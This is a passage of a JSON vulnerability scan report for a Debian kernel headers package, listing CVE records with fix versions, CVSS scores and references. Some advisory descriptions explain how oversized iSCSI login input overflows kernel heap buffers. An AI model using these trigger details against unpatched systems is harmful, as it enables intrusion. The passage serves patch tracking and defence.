"https://git.kernel.org/stable/c/93a9f121de6383f20290840d025ee28fda5f53b5", "https://git.kernel.org/stable/c/962d684b5dc0741dcd93485d41b450de402d5592", "https://git.kernel.org/stable/c/e35cf322897dd4921248d11311a89c865b534c14", "https://git.kernel.org/stable/c/fa34d3e14cb763b50702e8a0f7d4cfd877a73ab9", "https://linux.oracle.com/cve/CVE-2026-63879.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071938-CVE-2026-63879-3372@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63879", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-63879" ], "PublishedDate": "2026-07-19T16:17:04.903Z", "LastModifiedDate": "2026-10-26T20:12:03.977Z" }, { "VulnerabilityID": "CVE-2026-63884", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63884", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:66fd0d5846ffb1c193ed06a8e6895004dffd588ac7665c9721722aabb02eb31c", "Title": "kernel: drm/i915: Fix potential UAF in TTM object purge", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/i915: Fix potential UAF in TTM object purge\n\nTLDR: The bo-\u003ettm object might be changed by calling ttm_bo_validate(),\n move casting it to an i915_tt object later to actually get the right\n pointer.\n\nA user reported hitting the following bug under heavy use on DG2:\n\n[26620.095550] Oops: general protection fault, probably for non-canonical address 0xa56b6b6b6b6b6b8b: 0000 1 SMP NOPTI\n[26620.095556] CPU: 2 UID: 0 PID: 631 Comm: Xorg Not tainted 6.18.8 #1 PREEMPT(lazy)\n[26620.095558] Hardware name: ASRock B850M Steel Legend WiFi/B850M Steel Legend WiFi, BIOS 3.50 09/18/2025\n[26620.095559] RIP: 0010:i915_ttm_purge+0x84/0x100 [i915]\n[26620.095604] Code: 00 00 00 48 8d 54 24 10 48 89 e6 48 89 fb e8 83 aa ae ff 85 c0 75 6f 48 83 bb a8 01 00 00 00 74 2c 48 8b 45 78 48 85 c0 74 23 \u003c48\u003e 8b 78 20 48 c7 c2 ff ff ff ff 31 f6 e8 7a 73 e3 e0 48 8b 7d 78\n[26620.095605] RSP: 0018:ffffc90005fd7430 EFLAGS: 00010282\n[26620.095607] RAX: a56b6b6b6b6b6b6b RBX: ffff8881f46c3dc0 RCX: 0000000000000000\n[26620.095608] RDX: 0000000000000000 RSI: 0000000000000246 RDI: 00000000ffffffff\n[26620.095609] RBP: ffff888289610f00 R08: 0000000000000001 R09: ffff88823b022000\n[26620.095609] R10: ffff888103029b28 R11: ffff8881fc7f3800 R12: ffff88810b6150d0\n[26620.095609] R13: ffff888289610f00 R14: 0000000000000000 R15: ffff8881f46c3dc0\n[26620.095610] FS: 00007f1004d86900(0000) GS:ffff88901c858000(0000) knlGS:0000000000000000\n[26620.095611] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[26620.095611] CR2: 00007f0fdf489000 CR3: 000000035b0c1000 CR4: 0000000000750ef0\n[26620.095612] PKRU: 55555554\n[26620.095612] Call Trace:\n[26620.095615] \u003cTASK\u003e\n[26620.095615] i915_ttm_move+0x2b9/0x420 [i915]\n[26620.095642] ? ttm_tt_init+0x65/0x80 [ttm]\n[26620.095644] ? i915_ttm_tt_create+0xc6/0x150 [i915]\n[26620.095667] ttm_bo_handle_move_mem+0xb6/0x160 [ttm]\n[26620.095669] ttm_bo_evict+0x100/0x150 [ttm]\n[26620.095671] ? preempt_count_add+0x64/0xa0\n[26620.095673] ? _raw_spin_lock+0xe/0x30\n[26620.095675] ? _raw_spin_unlock+0xd/0x30\n[26620.095675] ? i915_gem_object_evictable+0xb7/0xd0 [i915]\n[26620.095704] ttm_bo_evict_cb+0x6e/0xd0 [ttm]\n[26620.095705] ttm_lru_walk_for_evict+0xa6/0x200 [ttm]\n[26620.095708] ttm_bo_alloc_resource+0x185/0x4f0 [ttm]\n[26620.095709] ? init_object+0x62/0xd0\n[26620.095712] ttm_bo_validate+0x7a/0x180 [ttm]\n[26620.095713] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095714] __i915_ttm_get_pages+0xb0/0x170 [i915]\n[26620.095737] i915_ttm_get_pages+0x9f/0x150 [i915]\n[26620.095759] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915]\n[26620.095786] ? alloc_debug_processing+0xd0/0x100\n[26620.095787] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095788] ? i915_vma_instance+0xa0/0x4e0 [i915]\n[26620.095822] __i915_gem_object_get_pages+0x2f/0x40 [i915]\n[26620.095848] i915_vma_pin_ww+0x706/0x980 [i915]\n[26620.095875] ? i915_gem_do_execbuffer+0xedc/0x2b40 [i915]\n[26620.095904] eb_validate_vmas+0x170/0xa00 [i915]\n[26620.095930] i915_gem_do_execbuffer+0x1201/0x2b40 [i915]\n[26620.095953] ? alloc_debug_processing+0xd0/0x100\n[26620.095954] ? _raw_spin_unlock_irqrestore+0x16/0x30\n[26620.095955] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915]\n[26620.095977] ? __wake_up_sync_key+0x32/0x50\n[26620.095979] ? i915_gem_execbuffer2_ioctl+0xc9/0x240 [i915]\n[26620.096001] ? __slab_alloc.isra.0+0x67/0xc0\n[26620.096003] i915_gem_execbuffer2_ioctl+0x11a/0x240 [i915]\n\nResults from decode_stacktrace.sh pointed to dereference of a file pointer\nfield of a i915 TTM page vector container associated with an object being\npurged on eviction. That path is taken when the object is marked as no\nlonger needed.\n\nCode analysis revealed a possibility of the i915 TTM page vector container\nbeing replaced with a new instance inside a function that purges content\nof the object, should it be still busy. That function is called,\nindirectly via a more general function that changes the object's placement\nand caching policy,\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63884", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/5c4063c87a619e4df954c179d24628636f5db15f%20%287.1-rc6%29", "https://git.kernel.org/stable/c/073bcbc95e9648c976da1654c7590a8d6ee12c2d", "https://git.kernel.org/stable/c/28b22dbaf407598cb3bb1d2c586a6f8018690ac2", "https://git.kernel.org/stable/c/5c4063c87a619e4df954c179d24628636f5db15f", "https://git.kernel.org/stable/c/a29654d451bbffe63d584a4cf64ad0efce6bcf1c", "https://git.kernel.org/stable/c/c9ae7e7e3bc98615364313b08d7acea5239ded0b", "https://git.kernel.org/stable/c/df73f3bc731af1c39ac5405bc59c4e7c6f8e9117", "https://linux.oracle.com/cve/CVE-2026-63884.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63884-39d7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63884", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63884" ], "PublishedDate": "2026-07-19T16:17:05.463Z", "LastModifiedDate": "2026-10-26T20:14:08.547Z" }, { "VulnerabilityID": "CVE-2026-63886", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63886", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7c4c11d84560139ff72088ddadecae19b455beebcf8b705db60fdf09991996e0", "Title": "kernel: scsi: target: iscsi: Validate CHAP_R length before base64 decode", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Validate CHAP_R length before base64 decode\n\nchap_server_compute_hash() allocates client_digest as\nkzalloc(chap-\u003edigest_size) and then, for BASE64-encoded responses,\npasses chap_r directly to chap_base64_decode() without checking whether\nthe input length could produce more than digest_size bytes of output.\n\nchap_base64_decode() writes to the destination unconditionally as long\nas there is input to consume. With MAX_RESPONSE_LENGTH set to 128 and\nthe \"0b\" prefix stripped by extract_param(), up to 127 base64 characters\ncan reach the decoder. 127 characters decode to 95 bytes. For SHA-256\n(digest_size=32) this overflows client_digest by 63 bytes; for MD5\n(digest_size=16) the overflow is 79 bytes.\n\nThe length check at line 344 fires after the write has already happened.\n\nThe HEX branch in the same switch statement already validates the length\nup front. Apply the same approach to the BASE64 branch: strip trailing\nbase64 padding characters, then reject any input whose data length\nexceeds DIV_ROUND_UP(digest_size * 4, 3) before calling the decoder.\n\nStripping trailing '=' before the comparison handles both padded and\nunpadded encodings. chap_base64_decode() already returns early on '=',\nso the full original string is still passed to the decoder unchanged.\n\nThe mutual CHAP path decodes CHAP_C into initiatorchg_binhex, which is\nkzalloc(CHAP_CHALLENGE_STR_LEN). extract_param() caps initiatorchg at\nCHAP_CHALLENGE_STR_LEN characters, so at most CHAP_CHALLENGE_STR_LEN-1\nbase64 characters reach the decoder. The maximum decoded size,\nDIV_ROUND_UP((CHAP_CHALLENGE_STR_LEN-1) * 3, 4), is less than\nCHAP_CHALLENGE_STR_LEN, so no overflow is possible there. A comment is\nadded at the call site to document this.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63886", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/85db7391310b1304d2dc8ae3b0b12105a9567147%20%287.1-rc6%29", "https://git.kernel.org/stable/c/4a3a19c98a8207ad08bec554703d90f2c34a8cc6", "https://git.kernel.org/stable/c/82454e6f21e56ea9a0a9de7d0ff7e1dfb83e34d6", "https://git.kernel.org/stable/c/85db7391310b1304d2dc8ae3b0b12105a9567147", "https://git.kernel.org/stable/c/bf154c657828ed05399bca5d98cf1611bb048b12", "https://git.kernel.org/stable/c/c04e85799356120209b351a148ac2db888d5ffd9", "https://git.kernel.org/stable/c/edd06675a02376ea8347dba7c29ad982ba5b36ee", "https://linux.oracle.com/cve/CVE-2026-63886.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071940-CVE-2026-63886-48e4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63886", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8817-1", "https://ubuntu.com/security/notices/USN-8817-2", "https://ubuntu.com/security/notices/USN-8817-3", "https://ubuntu.com/security/notices/USN-8842-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63886" ], "PublishedDate": "2026-07-19T16:17:05.723Z", "LastModifiedDate": "2026-10-22T14:29:02.84Z" }, { "VulnerabilityID": "CVE-2026-63887", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63887", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:57ae758f8a4e1cbb05cc0975123a5c302daf33e43721685fb347a0d22cf63d7c", "Title": "kernel: scsi: target: iscsi: Bound iscsi_encode_text_output() appends to rsp_buf", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: target: iscsi: Bound iscsi_encode_text_output() appends to rsp_buf\n\niscsi_encode_text_output() concatenates \"key=value\\0\" records into\nlogin-\u003ersp_buf, an 8192-byte kzalloc(MAX_KEY_VALUE_PAIRS) buffer\nallocated in iscsit_alloc_login_setup_buffer(). The three sprintf() call\nsites in this function (lines 1398, 1411, 1424 in v7.1-rc2) never check\nthe remaining buffer capacity:\n\n\t*length += sprintf(output_buf, \"%s=%s\", er-\u003ekey, er-\u003evalue);\n\t*length += 1;\n\toutput_buf = textbuf + *length;\n\nThe 8192-byte ceiling at iscsi_target_check_login_request() bounds the\n*input* Login PDU payload, but a single PDU can carry up to 2048 minimal\nfour-byte \"a=b\\0\" pairs, each unknown key expanding to a 16-byte\n\"a=NotUnderstood\\0\" output record via iscsi_add_notunderstood_response().\n2048 * 16 = 32 KiB of output into an 8 KiB buffer, producing a ~24 KiB\nheap overrun in the kmalloc-8k slab.\n\nThe fix introduces a static iscsi_encode_text_record() helper that uses\nsnprintf() with a per-call bounds check against the remaining buffer,\nand threads a u32 textbuf_size parameter through\niscsi_encode_text_output(). Both call sites in\niscsi_target_handle_csg_zero() (PHASE_SECURITY) and\niscsi_target_handle_csg_one() (PHASE_OPERATIONAL) pass\nMAX_KEY_VALUE_PAIRS. On overflow the encoder logs the condition, calls\niscsi_release_extra_responses() to drop queued records, and returns -1;\nboth caller sites now emit ISCSI_STATUS_CLS_INITIATOR_ERR /\nISCSI_LOGIN_STATUS_INIT_ERR via iscsit_tx_login_rsp() before returning,\nso the initiator sees an explicit failed-login response rather than a\nsilent connection drop. (Prior to this patch only the PHASE_OPERATIONAL\ncaller did that; the PHASE_SECURITY caller is converted to the same\nshape.)", "Severity": "HIGH", "CweIDs": [ "CWE-120", "CWE-122" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-63887", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", 